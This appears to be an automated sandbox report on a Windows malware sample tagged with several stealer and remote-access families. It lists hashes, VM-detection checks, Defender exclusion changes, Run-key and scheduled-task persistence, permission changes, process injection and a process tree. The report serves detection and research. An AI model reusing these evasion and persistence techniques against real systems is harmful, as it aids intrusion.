Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/10/2026, 07:29
Static task
static1
Behavioral task
behavioral1
Sample
2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win11ltsc2024-20260911-en
General
- Target 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample261008-ja71zscx31
- SHA256 79a7d5e2ede253dadb5ca0d995e0e05173b78df83710bd536d6ba2e142e2a008
- MD5 ad6aca28ba001376b17b24db48d4c3f0
- SHA1 5d038cf9161547cd0883eff4893b98dae2107b5e
- SHA512 ab7574c8ff96a53f1a2e30aafe6d73eb292f08a7f8ddaed30130abffaea95844a471cf11a8efe67169a49e97a09fa5ef7323851bbe423d406bc0ce3950194856
- SSDEEP 6144:/sO/zba+IQbXxFaK6cfyIoT7Oqbv5F0GRkZPVzS:XH7F6cf6T7Ow5JR
- TLSH T188947D1AEA65007DF1A79178CC574D02E6B5784E07A59ACF03D0C9A22F276E29F3E713
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v42.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v41.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 15 3688 cmd.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4640 powershell.exe 2504 powershell.exe 2952 powershell.exe 1120 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v41.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v42.exe - Possible privilege escalation attempt 3 IoCs
pid Process 6040 icacls.exe 5980 icacls.exe 5076 takeown.exe - Executes dropped EXE 5 IoCs
pid Process 5388 Win-v42.exe 2208 Win-v43.exe 3688 cmd.exe 1140 svchost.exe 3448 Win-v41.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 6040 icacls.exe 5980 icacls.exe 5076 takeown.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe" 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api64.ipify.org 9 api64.ipify.org - Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1108 powercfg.exe 5348 powercfg.exe 1192 powercfg.exe 3312 powercfg.exe 5740 powercfg.exe 5700 powercfg.exe 4756 powercfg.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File created C:\Windows\System32\Win-v42.exe 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe File opened for modification C:\Windows\system32\Recovery ReAgentc.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3908 set thread context of 3688 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 136 PID 3908 set thread context of 1140 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 137 - Drops file in Windows directory 7 IoCs
description ioc Process File created C:\Windows\Win-v41.exe 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_0gnjwjml.jyh.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_oeb120x1.1pf.psm1 powershell.exe - Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5536 cmd.exe 2496 cmd.exe 2036 cmd.exe 4676 cmd.exe 2776 cmd.exe 5040 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4368 PING.EXE 2776 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2036 cmd.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 4368 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3840 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 4640 powershell.exe 4640 powershell.exe 2504 powershell.exe 2504 powershell.exe 2504 powershell.exe 2952 powershell.exe 2952 powershell.exe 2952 powershell.exe 5388 Win-v42.exe 5388 Win-v42.exe 2208 Win-v43.exe 2208 Win-v43.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 744 winlogon.exe 744 winlogon.exe 3448 Win-v41.exe 3448 Win-v41.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1288 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4640 powershell.exe Token: SeIncreaseQuotaPrivilege 4640 powershell.exe Token: SeSecurityPrivilege 4640 powershell.exe Token: SeTakeOwnershipPrivilege 4640 powershell.exe Token: SeLoadDriverPrivilege 4640 powershell.exe Token: SeSystemProfilePrivilege 4640 powershell.exe Token: SeSystemtimePrivilege 4640 powershell.exe Token: SeProfSingleProcessPrivilege 4640 powershell.exe Token: SeIncBasePriorityPrivilege 4640 powershell.exe Token: SeCreatePagefilePrivilege 4640 powershell.exe Token: SeBackupPrivilege 4640 powershell.exe Token: SeRestorePrivilege 4640 powershell.exe Token: SeShutdownPrivilege 4640 powershell.exe Token: SeDebugPrivilege 4640 powershell.exe Token: SeSystemEnvironmentPrivilege 4640 powershell.exe Token: SeRemoteShutdownPrivilege 4640 powershell.exe Token: SeUndockPrivilege 4640 powershell.exe Token: SeManageVolumePrivilege 4640 powershell.exe Token: 33 4640 powershell.exe Token: 34 4640 powershell.exe Token: 35 4640 powershell.exe Token: 36 4640 powershell.exe Token: SeDebugPrivilege 2504 powershell.exe Token: SeIncreaseQuotaPrivilege 2504 powershell.exe Token: SeSecurityPrivilege 2504 powershell.exe Token: SeTakeOwnershipPrivilege 2504 powershell.exe Token: SeLoadDriverPrivilege 2504 powershell.exe Token: SeSystemProfilePrivilege 2504 powershell.exe Token: SeSystemtimePrivilege 2504 powershell.exe Token: SeProfSingleProcessPrivilege 2504 powershell.exe Token: SeIncBasePriorityPrivilege 2504 powershell.exe Token: SeCreatePagefilePrivilege 2504 powershell.exe Token: SeBackupPrivilege 2504 powershell.exe Token: SeRestorePrivilege 2504 powershell.exe Token: SeShutdownPrivilege 2504 powershell.exe Token: SeDebugPrivilege 2504 powershell.exe Token: SeSystemEnvironmentPrivilege 2504 powershell.exe Token: SeRemoteShutdownPrivilege 2504 powershell.exe Token: SeUndockPrivilege 2504 powershell.exe Token: SeManageVolumePrivilege 2504 powershell.exe Token: 33 2504 powershell.exe Token: 34 2504 powershell.exe Token: 35 2504 powershell.exe Token: 36 2504 powershell.exe Token: SeIncreaseQuotaPrivilege 2504 powershell.exe Token: SeSecurityPrivilege 2504 powershell.exe Token: SeTakeOwnershipPrivilege 2504 powershell.exe Token: SeLoadDriverPrivilege 2504 powershell.exe Token: SeSystemProfilePrivilege 2504 powershell.exe Token: SeSystemtimePrivilege 2504 powershell.exe Token: SeProfSingleProcessPrivilege 2504 powershell.exe Token: SeIncBasePriorityPrivilege 2504 powershell.exe Token: SeCreatePagefilePrivilege 2504 powershell.exe Token: SeBackupPrivilege 2504 powershell.exe Token: SeRestorePrivilege 2504 powershell.exe Token: SeShutdownPrivilege 2504 powershell.exe Token: SeDebugPrivilege 2504 powershell.exe Token: SeSystemEnvironmentPrivilege 2504 powershell.exe Token: SeRemoteShutdownPrivilege 2504 powershell.exe Token: SeUndockPrivilege 2504 powershell.exe Token: SeManageVolumePrivilege 2504 powershell.exe Token: 33 2504 powershell.exe Token: 34 2504 powershell.exe Token: 35 2504 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3688 cmd.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3908 wrote to memory of 4640 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 88 PID 3908 wrote to memory of 2504 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 91 PID 3908 wrote to memory of 2952 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 93 PID 3908 wrote to memory of 3840 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 95 PID 3908 wrote to memory of 4676 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 97 PID 4676 wrote to memory of 4436 4676 cmd.exe 99 PID 3908 wrote to memory of 2496 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 101 PID 2496 wrote to memory of 5076 2496 cmd.exe 103 PID 3908 wrote to memory of 5536 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 104 PID 5536 wrote to memory of 6040 5536 cmd.exe 106 PID 3908 wrote to memory of 5040 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 107 PID 5040 wrote to memory of 5980 5040 cmd.exe 109 PID 3908 wrote to memory of 4756 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 110 PID 3908 wrote to memory of 5700 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 114 PID 3908 wrote to memory of 1108 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 116 PID 3908 wrote to memory of 5740 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 121 PID 3908 wrote to memory of 3312 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 125 PID 3908 wrote to memory of 5348 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 129 PID 3908 wrote to memory of 1192 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 131 PID 3908 wrote to memory of 2776 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 133 PID 2776 wrote to memory of 4368 2776 cmd.exe 135 PID 3908 wrote to memory of 3688 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 136 PID 3908 wrote to memory of 1140 3908 2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 137 PID 2036 wrote to memory of 1120 2036 cmd.exe 144 PID 1120 wrote to memory of 744 1120 powershell.exe 5 PID 744 wrote to memory of 960 744 winlogon.exe 9 PID 744 wrote to memory of 968 744 winlogon.exe 10 PID 744 wrote to memory of 520 744 winlogon.exe 11 PID 744 wrote to memory of 1032 744 winlogon.exe 13 PID 744 wrote to memory of 1100 744 winlogon.exe 14 PID 744 wrote to memory of 1156 744 winlogon.exe 15 PID 744 wrote to memory of 1208 744 winlogon.exe 16 PID 744 wrote to memory of 3448 744 winlogon.exe 141 PID 744 wrote to memory of 1248 744 winlogon.exe 17 PID 744 wrote to memory of 1308 744 winlogon.exe 18 PID 744 wrote to memory of 1408 744 winlogon.exe 19 PID 744 wrote to memory of 1532 744 winlogon.exe 22 PID 744 wrote to memory of 1548 744 winlogon.exe 23 PID 744 wrote to memory of 1648 744 winlogon.exe 24 PID 744 wrote to memory of 1664 744 winlogon.exe 25 PID 744 wrote to memory of 1684 744 winlogon.exe 26 PID 744 wrote to memory of 1984 744 winlogon.exe 27 PID 744 wrote to memory of 1028 744 winlogon.exe 28 PID 744 wrote to memory of 1512 744 winlogon.exe 29 PID 744 wrote to memory of 2072 744 winlogon.exe 30 PID 744 wrote to memory of 2108 744 winlogon.exe 31 PID 744 wrote to memory of 2256 744 winlogon.exe 32 PID 744 wrote to memory of 2288 744 winlogon.exe 33 PID 744 wrote to memory of 2424 744 winlogon.exe 34 PID 744 wrote to memory of 2508 744 winlogon.exe 35 PID 744 wrote to memory of 2560 744 winlogon.exe 36 PID 744 wrote to memory of 2632 744 winlogon.exe 37 PID 744 wrote to memory of 2700 744 winlogon.exe 38 PID 744 wrote to memory of 2708 744 winlogon.exe 39 PID 744 wrote to memory of 2752 744 winlogon.exe 40 PID 744 wrote to memory of 2832 744 winlogon.exe 41 PID 744 wrote to memory of 2912 744 winlogon.exe 42 PID 744 wrote to memory of 1516 744 winlogon.exe 43 PID 744 wrote to memory of 3084 744 winlogon.exe 45 PID 744 wrote to memory of 3124 744 winlogon.exe 46 PID 744 wrote to memory of 3216 744 winlogon.exe 47 PID 744 wrote to memory of 3484 744 winlogon.exe 48 PID 744 wrote to memory of 3496 744 winlogon.exe 49 PID 744 wrote to memory of 3512 744 winlogon.exe 50 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:968
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1156
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C:\Windows\Win-v41.exe"C:\Windows\Win-v41.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3448
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:960
